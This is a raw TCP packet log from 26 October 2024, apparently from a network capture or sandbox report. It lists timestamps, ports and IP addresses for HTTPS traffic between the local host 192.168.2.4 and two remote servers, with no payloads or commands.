Oct 26, 2024 13:45:24.441956997 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.441998959 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.442447901 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.442462921 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.472894907 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.473553896 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.473587990 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.474236012 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.474244118 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.501255989 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.501424074 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.501513958 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.501671076 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.501693010 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.501705885 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.501713037 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.505208969 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.505296946 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.505405903 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.505557060 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.505593061 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.581151009 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.581314087 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.583049059 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.583070993 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.583338022 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.595614910 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.601749897 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.601943970 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.602026939 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.602221966 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.602241039 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.602266073 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.602272987 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.605777025 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.605815887 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.605892897 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.606049061 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.606056929 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.643340111 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.847032070 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.847067118 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.847090960 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.847134113 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.847168922 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.847192049 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.847225904 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.964519024 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.964591980 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.964705944 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.964744091 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.964771032 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.964804888 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.964904070 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.964904070 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:24.964951038 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.964978933 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:25.140527010 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.141225100 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.141256094 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.141920090 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.141927958 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.189893007 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.190500021 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.190552950 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.191018105 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.191031933 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.198735952 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.199165106 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.199184895 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.199855089 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.199862957 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.229758978 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.230290890 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.230329037 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.230935097 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.230941057 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.270394087 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.270473957 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.270533085 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.270770073 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.270785093 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.270801067 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.270808935 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.281167030 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.281203032 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.281373978 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.281645060 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.281661034 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.322895050 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.322983027 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.323040962 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.323268890 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.323292017 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.323303938 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.323309898 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.326844931 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.326881886 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.326992989 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.327100992 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.327122927 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.349299908 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.349842072 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.349867105 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.351035118 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.351048946 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.357178926 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.357419014 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.357489109 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.357539892 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.357539892 CEST	49823	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.357569933 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.357594013 CEST	443	49823	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.360913038 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.360963106 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.361059904 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.361166000 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.361216068 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.479986906 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.480200052 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.480252981 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.480406046 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.480426073 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.480439901 CEST	49824	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.480448961 CEST	443	49824	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.484368086 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.484419107 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.484502077 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.484649897 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.484668970 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.500092983 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.500248909 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.500309944 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.500467062 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.500492096 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.500508070 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.500515938 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.504040003 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.504081964 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:25.504152060 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.504333973 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:25.504350901 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.013458014 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.027153969 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.027187109 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.028029919 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.028038025 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.084939957 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.085762024 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.085774899 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.086497068 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.086509943 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.090374947 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.091811895 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.091835976 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.092406034 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.092422009 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.155201912 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.155221939 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.155277967 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.155327082 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.155500889 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.155787945 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.155822039 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.155837059 CEST	49825	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.155844927 CEST	443	49825	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.159780979 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.159822941 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.159948111 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.160229921 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.160243034 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.213953972 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.214715958 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.214745998 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.215363026 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.215375900 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.217880964 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.217895985 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.218125105 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.218142986 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.218265057 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.218271017 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.218271017 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.218302011 CEST	49826	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.218317032 CEST	443	49826	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.218334913 CEST	49827	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.218350887 CEST	443	49827	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.221735954 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.221785069 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.221904993 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.221934080 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.221977949 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.222033978 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.222045898 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.222074032 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.222312927 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.222332001 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.541629076 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.541663885 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.541735888 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.541798115 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.541944027 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.542464972 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.542484045 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.542494059 CEST	49828	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.542501926 CEST	443	49828	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.546292067 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.546339035 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.546696901 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.546927929 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.546942949 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.680059910 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.681181908 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.681206942 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.681891918 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.681900024 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.811471939 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.811502934 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.811570883 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.811599016 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.811635971 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.811901093 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.811918020 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.811933041 CEST	49829	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.811939001 CEST	443	49829	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.815120935 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.815169096 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.815237045 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.815387964 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.815399885 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.903111935 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.903743982 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.903760910 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.904253006 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.904258013 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.955585003 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.956319094 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.956355095 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.956799030 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.956804991 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.960652113 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.961038113 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.961066008 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:26.961455107 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:26.961461067 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.035176992 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.035206079 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.035264969 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.035275936 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.035286903 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.035347939 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.035634041 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.035640001 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.035655975 CEST	49830	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.035660028 CEST	443	49830	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.039210081 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.039253950 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.039343119 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.039484024 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.039499044 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.088112116 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.088324070 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.088433981 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.088603973 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.088654995 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.088685989 CEST	49832	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.088704109 CEST	443	49832	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.092459917 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.092505932 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.092634916 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.092677116 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.092838049 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.092897892 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.092941999 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.092947006 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.092956066 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.092966080 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.092997074 CEST	49831	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.093004942 CEST	443	49831	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.095833063 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.095874071 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.095963955 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.096169949 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.096189022 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.294615984 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.295120955 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.295161009 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.295634031 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.295644045 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.429435968 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.429682016 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.429760933 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.430481911 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.430510998 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.430526018 CEST	49833	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.430535078 CEST	443	49833	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.434556961 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.434592009 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.434686899 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.434883118 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.434907913 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.569601059 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.570465088 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.570498943 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.571152925 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.571161032 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.703483105 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.703557014 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.703629017 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.704262018 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.704292059 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.704305887 CEST	49834	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.704313993 CEST	443	49834	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.720662117 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.720706940 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.720782995 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.728945971 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.728987932 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.787290096 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.787947893 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.787985086 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.788747072 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.788759947 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.830620050 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.831326962 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.831336975 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.831872940 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.831877947 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.875621080 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.876382113 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.876450062 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.876872063 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.876885891 CEST	443	49837	13.107.246.51	192.168.2.4
